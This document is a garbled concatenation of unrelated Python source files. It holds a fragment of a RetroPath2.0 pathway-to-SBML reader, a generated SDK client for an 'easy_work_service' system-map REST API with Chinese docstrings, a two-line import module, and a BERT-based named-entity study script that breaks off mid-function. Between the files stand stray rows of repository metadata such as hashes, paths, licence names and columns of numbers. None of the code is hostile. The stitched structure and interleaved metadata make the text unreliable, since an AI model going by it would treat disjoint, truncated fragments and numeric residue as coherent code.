rpreader.deprecatedRID_rid = rpcache.getDeprecatedRID() rpreader.cid_strc = rpcache.getCIDstrc() rpreader.inchikey_cid = rpcache.getInchiKeyCID() rpreader.rr_reactions = rpcache.getRRreactions() rpreader.cid_xref = rpcache.getCIDxref() rpreader.xref_comp, rpreader.comp_xref = rpcache.getCompXref() rpreader.chebi_cid = rpcache.getChebiCID() rpreader.cid_name = rpcache.getCIDname() outputTar_bytes = io.BytesIO() #### MEM ##### """ if not rp2Reader_mem(rpreader, rp2_pathways, rp2paths_pathways, rp2paths_compounds, int(upper_flux_bound), int(lower_flux_bound), int(maxRuleIds), pathway_id, compartment_id, species_group_id, outputTar): abort(204) """ #### HDD ##### isOK = rp2Reader_hdd(rpreader, rp2_pathways, rp2paths_pathways, rp2paths_compounds, int(upper_flux_bound), int(lower_flux_bound), int(maxRuleIds), pathway_id, compartment_id, species_group_id, sink_species_group_id, pubchem_search, outputTar_bytes) if not isOK: logging.error('Function returned an error') ########IMPORTANT###### outputTar_bytes.seek(0) ####################### with open(outputTar, 'wb') as f: shutil.copyfileobj(outputTar_bytes, f, length=131072) ''' #TODO: change pathway_id to pathway_group_id def main_rp2(outputTar, rp2_pathways, rp2paths_pathways, rp2paths_compounds, upper_flux_bound=999999, lower_flux_bound=0, maxRuleIds=2, compartment_id='MNXC3', pathway_id='rp_pathway', species_group_id='central_species', sink_species_group_id='rp_sink_species', pubchem_search=False): """Function parse the results of RetroPath2.0 and rp2paths :param outputTar: The output collection of rpSBML files :param rp2_pathways: The RetroPath2.0 results scope file :param rp2paths_pathways: The rp2paths result pathway (out_paths) file :param rp2paths_compounds: The rp2paths result compounds file :param upper_flux_bound: The default upper flux bound (Default: 999999) :param lower_flux_bound: The default lower flux bound (Default: 0) :param maxRuleIds: The maximal number of rules associated with each step (Default: 2) :param compartment_id: The compartment SBML id (Default: MNXC3) :param pathway_id: The Groups heterologous pathway id (Default: rp_pathway) :param species_group_id: The Groups id of the central species (Default: central_species) :param sink_species_group_id: The Groups id of the rp_sink_species (Default: rp_sink_species) :param pubchem_search: Use the pubchem database to search for missing cross reference (Default: False) :type outputTar: str :type rp2_pathways: str :type rp2paths_pathways: str :type rp2paths_compounds: str :type upper_flux_bound: int :type lower_flux_bound: int :type maxRuleIds: int :type compartment_id: str :type pathway_id: str :type species_group_id: str :type sink_species_group_id: str :type pubchem_search: bool :rtype: None :return: None """ #pass the cache parameters to the rpReader rpreader = rpReader.rpReader() #rpcache = rpToolCache.rpToolCache() rpcache = rpCache.rpCache() rpreader.deprecatedCID_cid = rpcache.getDeprecatedCID() rpreader.deprecatedRID_rid = rpcache.getDeprecatedRID() rpreader.cid_strc = rpcache.getCIDstrc() rpreader.inchikey_cid = rpcache.getInchiKeyCID() rpreader.rr_reactions = rpcache.getRRreactions() rpreader.cid_xref = rpcache.getCIDxref() rpreader.xref_comp, rpreader.comp_xref = rpcache.getCompXref() rpreader.chebi_cid = rpcache.getChebiCID() rpreader.cid_name = rpcache.getCIDname() #outputTar_bytes = io.BytesIO() #### MEM ##### """ if not rp2Reader_mem(rpreader, rp2_pathways, rp2paths_pathways, rp2paths_compounds, int(upper_flux_bound), int(lower_flux_bound), int(maxRuleIds), pathway_id, compartment_id, species_group_id, outputTar): abort(204) """ #### HDD ##### isOK = rp2Reader_hdd(rpreader, rp2_pathways, rp2paths_pathways, rp2paths_compounds, int(upper_flux_bound), int(lower_flux_bound), int(maxRuleIds), pathway_id, compartment_id, species_group_id, sink_species_group_id, pubchem_search, outputTar) if not isOK: logging.error('Function returned an error') """ ########IMPORTANT###### outputTar_bytes.seek(0) ####################### with open(outputTar, 'wb') as f: shutil.copyfileobj(outputTar_bytes, f, length=131072) """ #TODO: need to fix for the new input #TODO: add the pubchem search def main_tsv(outputTar, tsvfile, upper_flux_bound=999999, lower_flux_bound=0, compartment_id='MNXC3', pathway_id='rp_pathway', species_group_id='central_species', sink_species_group_id='rp_sink_species'): """Function parse a defined TSV file to convert to rpSBML files :param outputTar: The output collection of rpSBML files :param tsvfile: The TSV of pathway to be parsed :param upper_flux_bound: The default upper flux bound (Default: 999999) :param lower_flux_bound: The default lower flux bound (Default: 0) :param compartment_id: The compartment SBML id (Default: MNXC3) :param pathway_id: The Groups heterologous pathway id (Default: rp_pathway) :param species_group_id: The Groups id of the central species (Default: central_species) :param sink_species_group_id: The Groups id of the rp_sink_species (Default: rp_sink_species) :type outputTar: str :type tsvfile: str :type upper_flux_bound: int :type lower_flux_bound: int :type maxRuleIds: int :type compartment_id: str :type pathway_id: str :type species_group_id: str :type sink_species_group_id: str :type pubchem_search: bool :rtype: bool :return: Success or failure of the function """ #pass the cache parameters to the rpReader rpreader = rpReader.rpReader() #rpcache = rpToolCache.rpToolCache() rpcache = rpCache.rpCache() rpreader.deprecatedCID_cid = rpcache.getDeprecatedCID() rpreader.deprecatedRID_rid = rpcache.getDeprecatedRID() rpreader.cid_strc = rpcache.getCIDstrc() rpreader.inchikey_cid = rpcache.getInchiKeyCID() rpreader.rr_reactions = rpcache.getRRreactions() rpreader.cid_xref = rpcache.getCIDxref() rpreader.xref_comp, rpreader.comp_xref = rpcache.getCompXref() rpreader.chebi_cid = rpcache.getChebiCID() rpreader.cid_name = rpcache.getCIDname() with tempfile.TemporaryDirectory() as tmpOutputFolder: rpreader.TSVtoSBML(tsvfile, tmpOutputFolder, upper_flux_bound, lower_flux_bound, compartment_id, pathway_id, species_group_id) if len(glob.glob(tmpOutputFolder+'/*'))==0: logging.error('rpReader did not generate any results') return False with tarfile.open(outputTar, mode='w:gz') as ot: for sbml_path in glob.glob(tmpOutputFolder+'/*'): fileName = str(sbml_path.split('/')[-1].replace('.sbml', '').replace('.rpsbml', '').replace('.xml', ''))+'.sbml.xml' info = tarfile.TarInfo(fileName) info.size = os.path.getsize(sbml_path) ot.addfile(tarinfo=info, fileobj=open(sbml_path, 'rb')) return True #TODO: change pathway_id to pathway_group_id def main_extrules(outputTar, rp2_pathways, rp2paths_pathways, rp2paths_compounds, rules_rall_tsv, compounds_tsv, upper_flux_bound=999999, lower_flux_bound=0, maxRuleIds=2, compartment_id='MNXC3', pathway_id='rp_pathway', species_group_id='central_species', sink_species_group_id='rp_sink_species', pubchem_search=False): """Function parse the results of RetroPath2.0 and rp2paths including external rules file :param outputTar: The output collection of rpSBML files :param rp2_pathways: The RetroPath2.0 results scope file :param rp2paths_pathways: The rp2paths result pathway (out_paths) file :param rp2paths_compounds: The rp2paths result compounds file :param rules_rall_tsv: The rules file :param compounds_tsv: The compound file :param upper_flux_bound: The default upper flux bound (Default: 999999) :param lower_flux_bound: The default lower flux bound (Default: 0) :param maxRuleIds: The maximal number of rules associated with each step (Default: 2) :param compartment_id: The compartment SBML id (Default: MNXC3) :param pathway_id: The Groups heterologous pathway id (Default: rp_pathway) :param species_group_id: The Groups id of the central species (Default: central_species) :param sink_species_group_id: The Groups id of the rp_sink_species (Default: rp_sink_species) :param pubchem_search: Use the pubchem database to search for missing cross reference (Default: False) :type outputTar: str :type rp2_pathways: str :type rp2paths_pathways: str :type rp2paths_compounds: str :type rules_rall_tsv: str :type compounds_tsv: str :type upper_flux_bound: int :type lower_flux_bound: int :type maxRuleIds: int :type compartment_id: str :type pathway_id: str :type species_group_id: str :type sink_species_group_id: str :type pubchem_search: bool :rtype: None :return: None """ #pass the cache parameters to the rpReader rpreader = rpReader.rpReader() ##### parse and merge the input files #### rpcache = rpCache.rpCache() #if you want to merge ''' #compounds strc rpcache.retroRulesStrc(compounds_tsv) new_cid_strc = copy.deepcopy(rpcache.cid_strc) rpcache.cid_strc = {**rpcache.getCIDstrc(), **new_cid_strc} rpcache._inchikeyCID() rpreader.cid_strc = rpcache.cid_strc rpreader.inchikey_cid = rpcache.inchikey_cid #reaction rules rpcache.retroReactions(rules_rall_tsv) new_rr_reactions = copy.deepcopy(rpcache.rr_reactions) rpreader.rr_reactions = {**rpcache.getRRreactions(), **new_rr_reactions} ''' #if you want to overwrite #compounds strc rpcache.retroRulesStrc(compounds_tsv) new_cid_strc = copy.deepcopy(rpcache.cid_strc) rpcache.cid_strc = {**rpcache.getCIDstrc(), **new_cid_strc} rpcache._inchikeyCID() rpreader.cid_strc = rpcache.cid_strc rpreader.inchikey_cid = rpcache.inchikey_cid #reaction rules rpcache.retroReactions(rules_rall_tsv) rpreader.rr_reactions = rpcache.rr_reactions #### rpreader.deprecatedCID_cid = rpcache.getDeprecatedCID() rpreader.deprecatedRID_rid = rpcache.getDeprecatedRID() rpreader.inchikey_cid = rpcache.getInchiKeyCID() rpreader.cid_xref = rpcache.getCIDxref() rpreader.xref_comp, rpreader.comp_xref = rpcache.getCompXref() rpreader.chebi_cid = rpcache.getChebiCID() rpreader.cid_name = rpcache.getCIDname() #outputTar_bytes = io.BytesIO() #### MEM ##### """ if not rp2Reader_mem(rpreader, rp2_pathways, rp2paths_pathways, rp2paths_compounds, int(upper_flux_bound), int(lower_flux_bound), int(maxRuleIds), pathway_id, compartment_id, species_group_id, outputTar): abort(204) """ #### HDD ##### isOK = rp2Reader_hdd(rpreader, rp2_pathways, rp2paths_pathways, rp2paths_compounds, int(upper_flux_bound), int(lower_flux_bound), int(maxRuleIds), pathway_id, compartment_id, species_group_id, sink_species_group_id, pubchem_search, outputTar) if not isOK: logging.error('Function returned an error') """ ########IMPORTANT###### outputTar_bytes.seek(0) ####################### with open(outputTar, 'wb') as f: shutil.copyfileobj(outputTar_bytes, f, length=131072) """
40.743346
132
0.606225
2,325
21,431
5.366022
0.096344
0.043283
0.050497
0.028855
0.889869
0.87496
0.872395
0.859971
0.85436
0.841696
0
0.014999
0.315571
21,431
525
133
40.820952
0.83556
0.337362
0
0.777778
0
0
0.048214
0
0
0
0
0.007619
0
1
0.023148
false
0
0.055556
0
0.12037
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
c5ad2a0a8d271fe47fa77dbc1cee0234beb54ace
99
py
Python
locke/patterns/__init__.py
ciphertechsolutions/locke
848f68d34332c9ced32826216f912ee1db2610d0
[ "BSD-3-Clause" ]
null
null
null
locke/patterns/__init__.py
ciphertechsolutions/locke
848f68d34332c9ced32826216f912ee1db2610d0
[ "BSD-3-Clause" ]
null
null
null
locke/patterns/__init__.py
ciphertechsolutions/locke
848f68d34332c9ced32826216f912ee1db2610d0
[ "BSD-3-Clause" ]
null
null
null
from locke.patterns.manager import Manager from locke.patterns.pattern_plugin import PatternPlugin
33
55
0.878788
13
99
6.615385
0.615385
0.209302
0.395349
0
0
0
0
0
0
0
0
0
0.080808
99
2
56
49.5
0.945055
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
a8455edb8f274625cd5e3adf3e7815e1bce2ed80
14,773
py
Python
easy_work_service_sdk/api/system_map/system_map_client.py
easyopsapis/easyops-api-python
adf6e3bad33fa6266b5fa0a449dd4ac42f8447d0
[ "Apache-2.0" ]
5
2019-07-31T04:11:05.000Z
2021-01-07T03:23:20.000Z
easy_work_service_sdk/api/system_map/system_map_client.py
easyopsapis/easyops-api-python
adf6e3bad33fa6266b5fa0a449dd4ac42f8447d0
[ "Apache-2.0" ]
null
null
null
easy_work_service_sdk/api/system_map/system_map_client.py
easyopsapis/easyops-api-python
adf6e3bad33fa6266b5fa0a449dd4ac42f8447d0
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- import os import sys import easy_work_service_sdk.api.system_map.collect_system_pb2 import easy_work_service_sdk.model.easy_work_service.app_system_pb2 import easy_work_service_sdk.api.system_map.create_system_pb2 import easy_work_service_sdk.api.system_map.delete_system_pb2 import google.protobuf.empty_pb2 import easy_work_service_sdk.api.system_map.get_my_collection_pb2 import easy_work_service_sdk.api.system_map.get_system_pb2 import easy_work_service_sdk.api.system_map.get_system_categories_pb2 import easy_work_service_sdk.api.system_map.list_system_pb2 import easy_work_service_sdk.api.system_map.update_system_pb2 import easy_work_service_sdk.utils.http_util import google.protobuf.json_format class SystemMapClient(object): def __init__(self, server_ip="", server_port=0, service_name="", host=""): """ 初始化client :param server_ip: 指定sdk请求的server_ip,为空时走名字服务路由 :param server_port: 指定sdk请求的server_port,与server_ip一起使用, 为空时走名字服务路由 :param service_name: 指定sdk请求的service_name, 为空时按契约名称路由。如果server_ip和service_name同时设置,server_ip优先级更高 :param host: 指定sdk请求服务的host名称, 如cmdb.easyops-only.com """ if server_ip == "" and server_port != 0 or server_ip != "" and server_port == 0: raise Exception("server_ip和server_port必须同时指定") self._server_ip = server_ip self._server_port = server_port self._service_name = service_name self._host = host def collect_system(self, request, org, user, timeout=10): # type: (easy_work_service_sdk.api.system_map.collect_system_pb2.CollectSystemRequest, int, str, int) -> easy_work_service_sdk.api.system_map.collect_system_pb2.CollectSystemResponse """ 收藏/取消收藏应用系统 :param request: collect_system请求 :param org: 客户的org编号,为数字 :param user: 调用api使用的用户名 :param timeout: 调用超时时间,单位秒 :return: easy_work_service_sdk.api.system_map.collect_system_pb2.CollectSystemResponse """ headers = {"org": org, "user": user} route_name = "" server_ip = self._server_ip if self._service_name != "": route_name = self._service_name elif self._server_ip != "": route_name = "easyops.api.easy_work_service.system_map.CollectSystem" uri = "/api/easy_work_service/v1/collections" requestParam = request rsp_obj = easy_work_service_sdk.utils.http_util.do_api_request( method="POST", src_name="logic.easy_work_service_sdk", dst_name=route_name, server_ip=server_ip, server_port=self._server_port, host=self._host, uri=uri, params=google.protobuf.json_format.MessageToDict( requestParam, preserving_proto_field_name=True), headers=headers, timeout=timeout, ) rsp = easy_work_service_sdk.api.system_map.collect_system_pb2.CollectSystemResponse() google.protobuf.json_format.ParseDict(rsp_obj["data"], rsp, ignore_unknown_fields=True) return rsp def create_system(self, request, org, user, timeout=10): # type: (easy_work_service_sdk.model.easy_work_service.app_system_pb2.AppSystem, int, str, int) -> easy_work_service_sdk.api.system_map.create_system_pb2.CreateSystemResponse """ 创建应用系统 :param request: create_system请求 :param org: 客户的org编号,为数字 :param user: 调用api使用的用户名 :param timeout: 调用超时时间,单位秒 :return: easy_work_service_sdk.api.system_map.create_system_pb2.CreateSystemResponse """ headers = {"org": org, "user": user} route_name = "" server_ip = self._server_ip if self._service_name != "": route_name = self._service_name elif self._server_ip != "": route_name = "easyops.api.easy_work_service.system_map.CreateSystem" uri = "/api/easy_work_service/v1/systems" requestParam = request rsp_obj = easy_work_service_sdk.utils.http_util.do_api_request( method="POST", src_name="logic.easy_work_service_sdk", dst_name=route_name, server_ip=server_ip, server_port=self._server_port, host=self._host, uri=uri, params=google.protobuf.json_format.MessageToDict( requestParam, preserving_proto_field_name=True), headers=headers, timeout=timeout, ) rsp = easy_work_service_sdk.api.system_map.create_system_pb2.CreateSystemResponse() google.protobuf.json_format.ParseDict(rsp_obj["data"], rsp, ignore_unknown_fields=True) return rsp def delete_system(self, request, org, user, timeout=10): # type: (easy_work_service_sdk.api.system_map.delete_system_pb2.DeleteSystemRequest, int, str, int) -> google.protobuf.empty_pb2.Empty """ 删除应用系统 :param request: delete_system请求 :param org: 客户的org编号,为数字 :param user: 调用api使用的用户名 :param timeout: 调用超时时间,单位秒 :return: google.protobuf.empty_pb2.Empty """ headers = {"org": org, "user": user} route_name = "" server_ip = self._server_ip if self._service_name != "": route_name = self._service_name elif self._server_ip != "": route_name = "easyops.api.easy_work_service.system_map.DeleteSystem" uri = "/api/easy_work_service/v1/systems/{systemId}".format( systemId=request.systemId, ) requestParam = request rsp_obj = easy_work_service_sdk.utils.http_util.do_api_request( method="DELETE", src_name="logic.easy_work_service_sdk", dst_name=route_name, server_ip=server_ip, server_port=self._server_port, host=self._host, uri=uri, params=google.protobuf.json_format.MessageToDict( requestParam, preserving_proto_field_name=True), headers=headers, timeout=timeout, ) rsp = google.protobuf.empty_pb2.Empty() google.protobuf.json_format.ParseDict(rsp_obj, rsp, ignore_unknown_fields=True) return rsp def get_collection(self, request, org, user, timeout=10): # type: (google.protobuf.empty_pb2.Empty, int, str, int) -> easy_work_service_sdk.api.system_map.get_my_collection_pb2.GetCollectionResponse """ 获取我的收藏 :param request: get_collection请求 :param org: 客户的org编号,为数字 :param user: 调用api使用的用户名 :param timeout: 调用超时时间,单位秒 :return: easy_work_service_sdk.api.system_map.get_my_collection_pb2.GetCollectionResponse """ headers = {"org": org, "user": user} route_name = "" server_ip = self._server_ip if self._service_name != "": route_name = self._service_name elif self._server_ip != "": route_name = "easyops.api.easy_work_service.system_map.GetCollection" uri = "/api/easy_work_service/v1/collections" requestParam = request rsp_obj = easy_work_service_sdk.utils.http_util.do_api_request( method="GET", src_name="logic.easy_work_service_sdk", dst_name=route_name, server_ip=server_ip, server_port=self._server_port, host=self._host, uri=uri, params=google.protobuf.json_format.MessageToDict( requestParam, preserving_proto_field_name=True), headers=headers, timeout=timeout, ) rsp = easy_work_service_sdk.api.system_map.get_my_collection_pb2.GetCollectionResponse() google.protobuf.json_format.ParseDict(rsp_obj["data"], rsp, ignore_unknown_fields=True) return rsp def get_system(self, request, org, user, timeout=10): # type: (easy_work_service_sdk.api.system_map.get_system_pb2.GetSystemRequest, int, str, int) -> easy_work_service_sdk.api.system_map.get_system_pb2.GetSystemResponse """ 获取应用系统详情 :param request: get_system请求 :param org: 客户的org编号,为数字 :param user: 调用api使用的用户名 :param timeout: 调用超时时间,单位秒 :return: easy_work_service_sdk.api.system_map.get_system_pb2.GetSystemResponse """ headers = {"org": org, "user": user} route_name = "" server_ip = self._server_ip if self._service_name != "": route_name = self._service_name elif self._server_ip != "": route_name = "easyops.api.easy_work_service.system_map.GetSystem" uri = "/api/easy_work_service/v1/systems/{systemId}".format( systemId=request.systemId, ) requestParam = request rsp_obj = easy_work_service_sdk.utils.http_util.do_api_request( method="GET", src_name="logic.easy_work_service_sdk", dst_name=route_name, server_ip=server_ip, server_port=self._server_port, host=self._host, uri=uri, params=google.protobuf.json_format.MessageToDict( requestParam, preserving_proto_field_name=True), headers=headers, timeout=timeout, ) rsp = easy_work_service_sdk.api.system_map.get_system_pb2.GetSystemResponse() google.protobuf.json_format.ParseDict(rsp_obj["data"], rsp, ignore_unknown_fields=True) return rsp def get_system_categories(self, request, org, user, timeout=10): # type: (google.protobuf.empty_pb2.Empty, int, str, int) -> easy_work_service_sdk.api.system_map.get_system_categories_pb2.GetSystemCategoriesResponse """ 获取应用系统类型列表 :param request: get_system_categories请求 :param org: 客户的org编号,为数字 :param user: 调用api使用的用户名 :param timeout: 调用超时时间,单位秒 :return: easy_work_service_sdk.api.system_map.get_system_categories_pb2.GetSystemCategoriesResponse """ headers = {"org": org, "user": user} route_name = "" server_ip = self._server_ip if self._service_name != "": route_name = self._service_name elif self._server_ip != "": route_name = "easyops.api.easy_work_service.system_map.GetSystemCategories" uri = "/api/easy_work_service/v1/system_categories" requestParam = request rsp_obj = easy_work_service_sdk.utils.http_util.do_api_request( method="GET", src_name="logic.easy_work_service_sdk", dst_name=route_name, server_ip=server_ip, server_port=self._server_port, host=self._host, uri=uri, params=google.protobuf.json_format.MessageToDict( requestParam, preserving_proto_field_name=True), headers=headers, timeout=timeout, ) rsp = easy_work_service_sdk.api.system_map.get_system_categories_pb2.GetSystemCategoriesResponse() google.protobuf.json_format.ParseDict(rsp_obj["data"], rsp, ignore_unknown_fields=True) return rsp def list_system(self, request, org, user, timeout=10): # type: (easy_work_service_sdk.api.system_map.list_system_pb2.ListSystemRequest, int, str, int) -> easy_work_service_sdk.api.system_map.list_system_pb2.ListSystemResponse """ 获取应用系统列表 :param request: list_system请求 :param org: 客户的org编号,为数字 :param user: 调用api使用的用户名 :param timeout: 调用超时时间,单位秒 :return: easy_work_service_sdk.api.system_map.list_system_pb2.ListSystemResponse """ headers = {"org": org, "user": user} route_name = "" server_ip = self._server_ip if self._service_name != "": route_name = self._service_name elif self._server_ip != "": route_name = "easyops.api.easy_work_service.system_map.ListSystem" uri = "/api/easy_work_service/v1/systems" requestParam = request rsp_obj = easy_work_service_sdk.utils.http_util.do_api_request( method="GET", src_name="logic.easy_work_service_sdk", dst_name=route_name, server_ip=server_ip, server_port=self._server_port, host=self._host, uri=uri, params=google.protobuf.json_format.MessageToDict( requestParam, preserving_proto_field_name=True), headers=headers, timeout=timeout, ) rsp = easy_work_service_sdk.api.system_map.list_system_pb2.ListSystemResponse() google.protobuf.json_format.ParseDict(rsp_obj["data"], rsp, ignore_unknown_fields=True) return rsp def update_system(self, request, org, user, timeout=10): # type: (easy_work_service_sdk.api.system_map.update_system_pb2.UpdateSystemRequest, int, str, int) -> easy_work_service_sdk.api.system_map.update_system_pb2.UpdateSystemResponse """ 更新应用系统 :param request: update_system请求 :param org: 客户的org编号,为数字 :param user: 调用api使用的用户名 :param timeout: 调用超时时间,单位秒 :return: easy_work_service_sdk.api.system_map.update_system_pb2.UpdateSystemResponse """ headers = {"org": org, "user": user} route_name = "" server_ip = self._server_ip if self._service_name != "": route_name = self._service_name elif self._server_ip != "": route_name = "easyops.api.easy_work_service.system_map.UpdateSystem" uri = "/api/easy_work_service/v1/systems/{systemId}".format( systemId=request.systemId, ) requestParam = request rsp_obj = easy_work_service_sdk.utils.http_util.do_api_request( method="PUT", src_name="logic.easy_work_service_sdk", dst_name=route_name, server_ip=server_ip, server_port=self._server_port, host=self._host, uri=uri, params=google.protobuf.json_format.MessageToDict( requestParam, preserving_proto_field_name=True), headers=headers, timeout=timeout, ) rsp = easy_work_service_sdk.api.system_map.update_system_pb2.UpdateSystemResponse() google.protobuf.json_format.ParseDict(rsp_obj["data"], rsp, ignore_unknown_fields=True) return rsp
39.927027
190
0.643268
1,718
14,773
5.158324
0.0844
0.064094
0.120176
0.107651
0.884902
0.875762
0.868201
0.858948
0.858271
0.852968
0
0.006462
0.266703
14,773
369
191
40.03523
0.811594
0.215122
0
0.741525
0
0
0.099664
0.089417
0
0
0
0
0
1
0.038136
false
0
0.059322
0
0.135593
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
a8b270d57c3c06b01f9ee4aebdccc39039c7df45
41,948
py
Python
Oblig3/packages/studies.py
fabiorodp/IN5550_Neural_Methods_in_Natural_Language_Processing
4d3b2ed56b56e016413ae1544e19ad2a2c0ef047
[ "MIT" ]
null
null
null
Oblig3/packages/studies.py
fabiorodp/IN5550_Neural_Methods_in_Natural_Language_Processing
4d3b2ed56b56e016413ae1544e19ad2a2c0ef047
[ "MIT" ]
null
null
null
Oblig3/packages/studies.py
fabiorodp/IN5550_Neural_Methods_in_Natural_Language_Processing
4d3b2ed56b56e016413ae1544e19ad2a2c0ef047
[ "MIT" ]
null
null
null
# Author: Fabio Rodrigues Pereira # E-mail: fabior@uio.no # Author: Per Morten Halvorsen # E-mail: pmhalvor@uio.no # Author: Eivind Grønlie Guren # E-mail: eivindgg@ifi.uio.no try: from Oblig3.packages.preprocess import load_raw_data, filter_raw_data, pad from Oblig3.packages.preprocess import OurCONLLUDataset from Oblig3.packages.model import Transformer, BertRNN, BertMLP except: from packages.preprocess import load_raw_data, filter_raw_data, pad from packages.preprocess import OurCONLLUDataset from packages.model import Transformer, BertRNN, BertMLP from sklearn.model_selection import train_test_split from torch.utils.data import DataLoader from transformers import BertTokenizer import pandas as pd import numpy as np import torch import time class FreezerStudy: @staticmethod def _generate_metrics(par_1, par_2): training_time = np.empty( shape=(len(par_1), len(par_2)), dtype=float ) searching_f1Score = np.empty( shape=(len(par_1), len(par_2)), dtype=float ) searching_epoch = np.empty( shape=(len(par_1), len(par_2)), dtype=float ) return (training_time, searching_f1Score, searching_epoch) @staticmethod def _load_data(NORBERT, train_data_url, batch_size, device, train_prop, verbose, random_state, min_entities): print('\n\n\nload tokenizer...') if verbose else None tokenizer = BertTokenizer.from_pretrained(NORBERT) print('\n\n\nloading data set...') if verbose else None # loading raw data con_df = load_raw_data(datapath=train_data_url) con_df = filter_raw_data(df=con_df, min_entities=min_entities) # splitting data train_df, val_df = train_test_split( con_df, test_size=1 - train_prop, random_state=random_state, shuffle=True, ) # creating data sets train_dataset = OurCONLLUDataset( df=train_df, tokenizer=tokenizer, device=device ) val_dataset = OurCONLLUDataset( df=val_df, tokenizer=tokenizer, label_vocab=train_dataset.label_vocab, device=device ) del train_df, val_df, con_df print('\n\n\nloading data loader...') if verbose else None train_loader = DataLoader( train_dataset, batch_size=batch_size, collate_fn=lambda batch: pad(batch, train_dataset.IGNORE_ID) ) val_loader = DataLoader( val_dataset, batch_size=len(val_dataset), collate_fn=lambda batch: pad(batch, train_dataset.IGNORE_ID) ) num_labels = len(train_dataset.label_indexer) NOT_ENTITY_ID = train_dataset.label_indexer['O'] return (train_loader, val_loader, num_labels, NOT_ENTITY_ID) @staticmethod def _save_metrics(metrics, par_1, par_2, path_filename): for idx, metric in enumerate(metrics): df = pd.DataFrame( metric, index=par_1, columns=par_2 ) df.to_csv(f'{path_filename}_{idx}.csv') @staticmethod def _freezer(model, keyword, max_count=1): if keyword is None: return model count = 0 if type(keyword) == list: for (i, j) in model.named_parameters(): for kwrd in keyword: if kwrd in i: j.requires_grad = False count += 1 if count >= max_count: break else: for (i, j) in model.named_parameters(): if keyword in i: j.requires_grad = False count += 1 if count >= max_count: break return model def __init__(self, par_1, par_2, vocab_dir, train_data_url, out_path_filename, verbose, random_state, epochs, device, loss_funct, batch_size, freeze, lr_scheduler, factor, patience, min_entities, lr, momentum, epoch_patience): # searching parameters: self.par_1 = par_1 # list of key words to freeze self.par_2 = par_2 # max number of layers to freeze # creating matrices to store the searching scores self.training_time, self.searching_f1Score, self.searching_epoch = \ self._generate_metrics( par_1=par_1, par_2=par_2 ) self.vocab_dir = vocab_dir self.train_data_url = train_data_url self.out_path_filename = out_path_filename self.verbose = verbose # seeding self.random_state = random_state if self.random_state is not None: torch.manual_seed(self.random_state) np.random.seed(self.random_state) self.epochs = epochs self.device = device self.loss_funct = loss_funct self.batch_size = batch_size self.freeze = freeze self.lr_scheduler = lr_scheduler self.factor = factor self.patience = patience self.min_entities = min_entities self.lr = lr self.momentum = momentum self.epoch_patience = epoch_patience def _store_metrics(self, c_idx, r_idx, t0, t1, model): print(f"Elapsed time: {t1 - t0}.") if self.verbose is True else None self.training_time[c_idx][r_idx] = t1 - t0 print(f"Valid F1: {model.val_f1_scores[model.early_stop_epoch]}.") \ if self.verbose is True else None self.searching_f1Score[c_idx][r_idx] = \ model.val_f1_scores[model.early_stop_epoch] self.searching_epoch[c_idx][r_idx] = model.early_stop_epoch def run(self): # load data (train_loader, val_loader, num_labels, NOT_ENTITY_ID) = self._load_data( NORBERT=self.vocab_dir, train_data_url=self.train_data_url, batch_size=self.batch_size, device=self.device, train_prop=0.75, verbose=self.verbose, random_state=self.random_state, min_entities=self.min_entities ) for c_idx, col in enumerate(self.par_1): # keyword for r_idx, row in enumerate(self.par_2): # num frozen layers print('\n\n\nloading model...') if self.verbose else None model = Transformer( NORBERT=self.vocab_dir, num_labels=num_labels, NOT_ENTITY_ID=NOT_ENTITY_ID, device=self.device, epochs=self.epochs, lr_scheduler=self.lr_scheduler, factor=self.factor, patience=self.patience, loss_funct=self.loss_funct, random_state=self.random_state, verbose=self.verbose, lr=self.lr, momentum=self.momentum, epoch_patience=self.epoch_patience ) model = self._freezer(model, col, row) print("Fitting data...") if self.verbose else None t0 = time.time() model.fit( loader=train_loader, test=val_loader, verbose=self.verbose ) t1 = time.time() print(f"Fitting done in {t1 - t0}s.") if self.verbose else \ None self._store_metrics( c_idx=c_idx, r_idx=r_idx, t0=t0, t1=t1, model=model ) metrics_ = (self.training_time, self.searching_f1Score) self._save_metrics( metrics=metrics_, par_1=self.par_1, par_2=self.par_2, path_filename=self.out_path_filename ) return self ############ BertRNN studies ############ class RNNTypeFineTuneBert: @staticmethod def _generate_metrics(par_1, par_2): training_time = np.empty( shape=(len(par_1), len(par_2)), dtype=float ) searching_f1Score = np.empty( shape=(len(par_1), len(par_2)), dtype=float ) searching_epoch = np.empty( shape=(len(par_1), len(par_2)), dtype=float ) return (training_time, searching_f1Score, searching_epoch) @staticmethod def _load_data(NORBERT, train_data_url, batch_size, device, train_prop, verbose, random_state, min_entities, small_data=None): print('\n\n\nload tokenizer...') if verbose else None tokenizer = BertTokenizer.from_pretrained(NORBERT) print('\n\n\nloading data set...') if verbose else None # loading raw data con_df = load_raw_data(datapath=train_data_url) con_df = filter_raw_data(df=con_df, min_entities=min_entities) if small_data: con_df, _ = train_test_split(con_df, train_size=small_data) del _ # splitting data train_df, val_df = train_test_split( con_df, test_size=1 - train_prop, random_state=random_state, shuffle=True, ) # creating data sets train_dataset = OurCONLLUDataset( df=train_df, tokenizer=tokenizer, device=device ) val_dataset = OurCONLLUDataset( df=val_df, tokenizer=tokenizer, label_vocab=train_dataset.label_vocab, device=device ) del train_df, val_df, con_df print('\n\n\nloading data loader...') if verbose else None train_loader = DataLoader( train_dataset, batch_size=batch_size, collate_fn=lambda batch: pad(batch, train_dataset.IGNORE_ID) ) val_loader = DataLoader( val_dataset, batch_size=len(val_dataset), collate_fn=lambda batch: pad(batch, train_dataset.IGNORE_ID) ) num_labels = len(train_dataset.label_indexer) NOT_ENTITY_ID = train_dataset.label_indexer['O'] return (train_loader, val_loader, num_labels, NOT_ENTITY_ID, train_dataset.label_indexer) @staticmethod def _save_metrics(metrics, par_1, par_2, path_filename): for idx, metric in enumerate(metrics): df = pd.DataFrame( metric, index=par_1, columns=par_2 ) df.to_csv(f'{path_filename}_{idx}.csv') def __init__( self, par_1, 